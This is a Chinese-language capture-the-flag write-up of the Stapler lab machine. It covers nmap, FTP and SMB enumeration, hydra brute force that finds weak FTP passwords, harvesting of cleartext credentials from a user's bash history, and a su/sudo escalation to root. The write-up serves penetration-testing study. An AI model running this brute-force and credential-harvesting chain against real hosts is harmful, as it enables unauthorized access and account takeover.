stapter WP&笔记

很喜欢的靶机，有效暴露了自己的不足，里面的兔子洞基本上全部踩了一遍，所以写一下这篇wp兼笔记

感想：打靶很多时候是反直觉的，有的时候不能基于感觉，或者说觉得概率很小就不去尝试，它是一个严谨的，纯粹理性的过程

wp部分

nmap

┌──(kali㉿kali)-[~/PG/replayplay/stapter]
└─$ nmap -sT -p- 192.168.113.240 -oA nmapscan/ports
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 09:52 EDT
Nmap scan report for 192.168.113.240
Host is up (0.0038s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT      STATE  SERVICE
20/tcp    closed ftp-data
21/tcp    open   ftp
22/tcp    open   ssh
53/tcp    open   domain
80/tcp    open   http
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn
666/tcp   open   doom
3306/tcp  open   mysql
12380/tcp open   unknown
MAC Address: 08:00:27:D9:17:D1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 119.02 seconds

awk剪切端口

┌──(kali㉿kali)-[~/PG/replayplay/stapter]
└─$ port=$(cat nmapscan/ports.nmap | grep open | awk -F '/' '{print $1}'|paste -sd ',')

tcp详细信息扫描

┌──(kali㉿kali)-[~/PG/replayplay/stapter]
└─$ nmap -sT -sC -sV -O -p21,22,53,80,139,666,3306,12380 192.168.113.240 -oA nmapscan/details
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 09:59 EDT
Nmap scan report for 192.168.113.240
Host is up (0.0024s latency).

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.0.8 or later
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.113.200
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open  domain      dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp    open  http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open  tcpwrapped
3306/tcp  open  mysql       MySQL (blocked - too many connection errors)
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tim, we need to-do better next year for Initech
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:D9:17:D1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.13 - 4.4 (97%), Linux 3.16 - 4.6 (97%), Linux 3.8 - 3.16 (97%), Linux 4.4 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 (95%), Linux 3.18 (94%), Linux 4.2 (94%), Linux 3.13 - 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-10-15T13:44:19
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2025-10-15T14:44:20+01:00
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -36m03s, deviation: 34m34s, median: -16m06s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.55 seconds

这里可以看到ftp可以匿名访问

53端口版本是 dnsmasq 2.75，searchsploit有漏洞，但是拒绝服务攻击不可利用

12380的title处,提到了tim这个人名，记录到用户名字典中

nmap脚本扫描

信息收集

ftp匿名访问

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ ftp 192.168.113.240      
Connected to 192.168.113.240.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220 
Name (192.168.113.240:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

成功访问，这里有个人名harry，记录到用户名字典中

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
100% |**********************************************************|   107       15.70 KiB/s    00:00 ETA
226 Transfer complete.
107 bytes received in 00:00 (9.05 KiB/s)

确认没有其他文件后退出

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ cat note                 
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Elly和john加入用户名字典，这里提到让elly更改ftp中信息，猜测ftp还可以用elly登录

但是信息收集到后期（包括用户名字典和其他hint），还是怎么都爆破不出来ftp

继续进行信息收集，

列出smb服务器上的共享资源：

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ smbclient  -L //192.168.113.240  
Password for [WORKGROUP\kali]:

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	kathy           Disk      Fred, What are we doing here?
	tmp             Disk      All temporary files should be stored here
	IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            RED

-L: "List" 的意思，表示列出目标主机上的可用共享资源（如共享文件夹、打印机等）。

这里的kathy和tmp是可访问的文件共享目录

访问指定的文件共享目录：

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ smbclient  //192.168.113.240/kathy
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun  3 12:52:52 2016
  ..                                  D        0  Mon Jun  6 17:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 11:02:27 2016
  backup                              D        0  Sun Jun  5 11:04:14 2016

		19478204 blocks of size 1024. 16309640 blocks available
smb: \> 

里面东西不多，全dump下来：

smb: \> cd kathy_stuff\
smb: \kathy_stuff\> ls
  .                                   D        0  Sun Jun  5 11:02:27 2016
  ..                                  D        0  Fri Jun  3 12:52:52 2016
  todo-list.txt                       N       64  Sun Jun  5 11:02:27 2016

		19478204 blocks of size 1024. 16309636 blocks available
smb: \kathy_stuff\> get todo-list.txt 
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (3.9 KiloBytes/sec) (average 3.9 KiloBytes/sec)
smb: \kathy_stuff\> cd ../
smb: \> ls
  .                                   D        0  Fri Jun  3 12:52:52 2016
  ..                                  D        0  Mon Jun  6 17:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 11:02:27 2016
  backup                              D        0  Sun Jun  5 11:04:14 2016

		19478204 blocks of size 1024. 16309632 blocks available
smb: \> cd backup
smb: \backup\> ls
  .                                   D        0  Sun Jun  5 11:04:14 2016
  ..                                  D        0  Fri Jun  3 12:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 11:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Mon Apr 27 13:14:46 2015

		19478204 blocks of size 1024. 16309632 blocks available
smb: \backup\> mget *
Get file vsftpd.conf? y
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (215.6 KiloBytes/sec) (average 136.8 KiloBytes/sec)
Get file wordpress-4.tar.gz? y
getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (796.4 KiloBytes/sec) (average 792.7 KiloBytes/sec)
smb: \backup\> 

查看，没有发现什么很有价值的线索，把kathy加入用户名字典

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ cat todo-list.txt
I'm making sure to backup anything important for Initech, Kathy

3306端口：无未授权访问

两个web端口均没有扫出来什么很有用的信息

在12380端口处源码注释：

<!-- A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! -->
<!--   You can change the black color for the filter with those colors: blue, green, red, orange       -->
<!--  H1 can have 2 designs: "logo" and "logo cursive"           -->

增加用户名zoe,按注释改了一下前端，没什么信息

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ curl -I http://192.168.113.240:12380
HTTP/1.1 400 Bad Request
Date: Wed, 15 Oct 2025 14:38:41 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Fri, 03 Jun 2016 16:55:33 GMT
ETag: "6a16a-53462974b46e8"
Accept-Ranges: bytes
Content-Length: 434538
Dave: Soemthing doesn't look right here
Connection: close
Content-Type: text/htm

这里有一个自定义的dave,加入字典

666端口：这个nmap没有扫出来是什么服务，但是是开放的

使用nc/telnet尝试访问：

telnet 192.168.113.240 666

                                                                                                       
┌──(kali㉿kali)-[~/PG/replayplay]
└─$ telnet 192.168.113.240 666
Trying 192.168.113.240...
Connected to 192.168.113.240.
Escape character is '^]'.
Pd��Hp���,2
           message2.jpgUT	+�QWJ�QWux
                                          ��z
                                             T��P���A@� �UT�T�2>��RDK�Jj�"DL[E�
                                                                               0<Ĵ�ʮn���V�W�H ����
_�dr���9��u�Y�ܳoX�Y�2�e���2��y}�a����>`� �:�y�����^�sC��
                                                       ��ncܤI��+j�[����=,Κ����s�޽���is�M?����eY��������]sS�bQ���AoA��9ӂ���x�Oݙ4����1�N���3w�&&q��'i�fL��\���̀ޚ��:�ũ�r����{���:i���T�/�-W׷&�N�<�\.���Ф���^���g�.ּ�|W�����j�f~��x'�󯏹O��̚��`aТ�KV��
ou����7�|��ÄO�nKܾ#)���{���g8�u([r�H~A�qYQq�w��?}��?��Ty��ժk��SW������f�F�k��y������Y_?n2�߆^
                                                                                          ����m��f".��?B��,��[�&�NbM���V��	3&M~{����-�]_��[qt��o/ֶ�������׏����_@N�����{��E������i�.L�\gD��p���Ym
                                                                                            I�ˇ9-a)T���SWb�N�&���vO�3A#�,��^������4�C͈�}��~�R�`wT��KTamۙf�
��L}AJ�H�2�(Okɩ␦����dN���.npy.9��Rr9�Ү�#�Og���~�]V�BGu�=��HU���I��GTQ���
                                                                        L�ڒ��*P?����Dfv�`��k�S�P0���
���q�2��t�w����;����G����?P]�V���4<Q{>�h(}]LE�Hi��2~�@ǝ�xn籡��U���'4�z��%jow^Mo�~:� ��y򃙯νn����=fa���r�ٰ��U�t�y��B~q^7�,���:��ҩ;��ȝ��{���O 1M�ˁ�Ĉ��T��Y��Ԗ��O␦ְ7�:�/�7;��"3\܏��lt6"9:�?�,����My�Ք1��2�x5
                                                                                             ��z��z�(ho���cGBn]�3�О�7��JA�"ֹ

connected to...:TCP三次握手成功，建立了连接

这里可以看到，由于 终端默认以文本（UTF-8）显示接收到的数据。如果远端发来的不是文本而是二进制数据（例如图片、压缩包、加密流、音频或其它二进制协议），终端会把不可打印字节显示为乱七八糟的字符或问号

开头和结尾的片段都有message2.jpg

怀疑远端发送的是jpeg文件或jpeg文件名的二进制流

把输出的数据保存到bin中然后工具识别

（这里注意nc比telnet好，telnet好像操作起来有问题）

nc 192.168.113.240 666 >output.bin

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ nc 192.168.113.240 666 >output.bin 
                                                                                                       
┌──(kali㉿kali)-[~/PG/replayplay]
└─$ file output.bin    
output.bin: Zip archive data, made by v3.0 UNIX, extract using at least v2.0, last modified Jun 03 2016 16:03:08, uncompressed size 12821, method=deflate

发现是一个zip文件

使用xxd看十六进制和可打印文本

xxd -l 128 output.bin    # 显示前128字节的16进制与可打印文本

00000000: 504b 0304 1400 0200 0800 6480 c348 70df  PK........d..Hp.
00000010: 1581 aa2c 0000 1532 0000 0c00 1c00 6d65  ...,...2......me
00000020: 7373 6167 6532 2e6a 7067 5554 0900 032b  ssage2.jpgUT...+
00000030: 9c51 574a 9c51 5775 780b 0001 04f5 0100  .QWJ.QWux.......
00000040: 0004 1400 0000 ad7a 0b54 13e7 beef 5094  .......z.T....P.
00000050: 8888 4140 a220 19ab 5554 c454 11a9 1032  ..A@. ..UT.T...2
00000060: 3e8a d452 444b 1585 4a6a a922 444c 5b45  >..RDK..Jj."DL[E
00000070: a20c 1914 303c c4b4 b5ca ae6e 898a 8a56  ....0<.....n...V

查到这是zip的文件头，所以这是一个包含message2.jpg的压缩包

查看内部文件列表：

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ unzip -l output.bin              

Archive:  output.bin
  Length      Date    Time    Name
---------  ---------- -----   ----
    12821  2016-06-03 11:03   message2.jpg
---------                     -------
    12821                     1 file
                                        

解压缩：

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ unzip output.bin                 
Archive:  output.bin
  inflating: message2.jpg            
                                                                                                       
┌──(kali㉿kali)-[~/PG/replayplay]
└─$ ls
message2.jpg  note  output.bin  stapter  todo-list.txt  vsftpd.conf  wordpress-4.tar.gz

查看图片：

还是没什么信息，把scott加入字典

检查exiftool:

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ exiftool  message2.jpg 
ExifTool Version Number         : 13.25
File Name                       : message2.jpg
Directory                       : .
File Size                       : 13 kB
File Modification Date/Time     : 2016:06:03 11:03:07-04:00
File Access Date/Time           : 2025:10:15 10:52:47-04:00
File Inode Change Date/Time     : 2025:10:15 10:50:49-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 72
Y Resolution                    : 72
Current IPTC Digest             : 020ab2da2a37c332c141ebf819e37e6d
Contact                         : If you are reading this, you should get a cookie!
Application Record Version      : 4
IPTC Digest                     : d41d8cd98f00b204e9800998ecf8427e
Warning                         : IPTCDigest is not current. XMP may be out of sync
Image Width                     : 364
Image Height                    : 77
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 364x77
Megapixels                      : 0.028

contact:这里说get a cookie,这里又找了一会，没找到线索

然后进行binwalk查是否有嵌入的二进制，无线索

steghide查隐写

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ steghide info message2.jpg        
"message2.jpg":
  format: jpeg
  capacity: 318.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase: 

看起来可能有隐写，使用stegseek，分别用之前收集的字典（除了用户名还有一些值得注意的信息），rockyou.txt爆破，均失败

然后这里一直没打出来，经过一番搜索

关于ftp爆破，有一个参数-e nsr

基于英语国家的密码习惯

这是hydra的额外尝试，尝试空密码，用户名作密码，用户名反转作密码

知道了这个参数，重新之前的ftp爆破

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ hydra -L u.txt -e nsr ftp://192.168.113.240
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-15 11:22:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 105 login tries (l:35/p:3), ~7 tries per task
[DATA] attacking ftp://192.168.113.240:21/
[21][ftp] host: 192.168.113.240   login: elly   password: ylle
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-15 11:23:05

不得不说，以前真不知道国外有这种设置密码的习惯，这个参数的使用需要加入到攻击链中

ssh碰撞，elly无法登录

进去之后逐个查看，发现passwd可读，拿下来看

追加到自己的字典里

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ cat passwd | grep -E '/bin/bash|/bin/sh|/bin/zsh' | awk -F ':' '{print $1}' >>u.txt 

处于严谨性，由于拿到了新的用户名，不排除再爆一次能有别的ftp用户密码爆出的可能

还是先测nsr:

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ hydra -L u.txt -e nsr ftp://192.168.113.240
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-15 11:41:27
[DATA] max 16 tasks per 1 server, overall 16 tasks, 183 login tries (l:61/p:3), ~12 tries per task
[DATA] attacking ftp://192.168.113.240:21/
[21][ftp] host: 192.168.113.240   login: elly   password: ylle
[21][ftp] host: 192.168.113.240   login: SHayslett   password: SHayslett
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-15 11:42:06

还真的有一个

继续处于严谨性，再ssh碰撞一次

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ ssh SHayslett@192.168.113.240
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
SHayslett@192.168.113.240's password: 
Welcome back!


SHayslett@red:~$ 

还真给登上了，所以打靶一定要严谨

提权

开始枚举

┌──(kali㉿kali)-[~/PG/replayplay]
└─$ ssh SHayslett@192.168.113.240
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
SHayslett@192.168.113.240's password: 
Welcome back!


SHayslett@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for SHayslett: 

Sorry, try again.
[sudo] password for SHayslett: 
Sorry, try again.
[sudo] password for SHayslett: 
Sorry, user SHayslett may not run sudo on red.
SHayslett@red:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/ubuntu-core-launcher
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/authbind/helper
/bin/mount
/bin/umount
/bin/ping
/bin/fusermount
/bin/ping6
/bin/su

suid暂时没找到可利用的，做到这里，我突然想起了之前的passwd,用户名那么多属实罕见

根据之前的经验（我之前的wp可能提到过）

用户特别多的靶机，在/home里递归查找密码一定是一个好的思路

于是：

SHayslett@red:~$ grep -R -i 'pass' /home 2>/dev/null
/home/peter/.zcompdump:'chpass' '_chsh'
/home/peter/.zcompdump:'passwd' '_users'
/home/peter/.zcompdump:'systemd-ask-password' '_systemd'
/home/peter/.zcompdump:'systemd-tty-ask-password-agent' '_systemd'
/home/peter/.zcompdump:'yppasswd' '_yp'
/home/JKanode/.bash_history:sshpass -p thisimypassword ssh JKanode@localhost
/home/JKanode/.bash_history:apt-get install sshpass
/home/JKanode/.bash_history:sshpass -p JZQuyIN5 peter@localhost

成功找到了别的用户的密码

SHayslett@red:~$ su - peter
Password: 

This is the Z Shell configuration function for new users,
zsh-newuser-install.
You are seeing this message because you have no zsh startup files
(the files .zshenv, .zprofile, .zshrc, .zlogin in the directory
~).  This function can help you with a few settings that should
make your use of the shell easier.

You can:

(q)  Quit and do nothing.  The function will be run again next time.

(0)  Exit, creating the file ~/.zshrc containing just a comment.
     That will prevent this function being run again.

(1)  Continue to the main menu.

(2)  Populate your ~/.zshrc with the configuration recommended
     by the system administrator and exit (you will need to edit
     the file by hand, if so desired).

--- Type one of the keys in parentheses --- 

Aborting.
The function will be run again next time.  To prevent this, execute:
  touch ~/.zshrc
red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
red% whoami
peter
red% sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: 
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:
    (ALL : ALL) ALL
red% sudo -i
➜  ~ id
uid=0(root) gid=0(root) groups=0(root)
➜  ~ whoami
root
➜  ~ cd /root 
➜  ~ ls
fix-wordpress.sh  flag.txt  issue  python.sh  wordpress.sql
➜  ~ cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

➜  ~ 

成功提权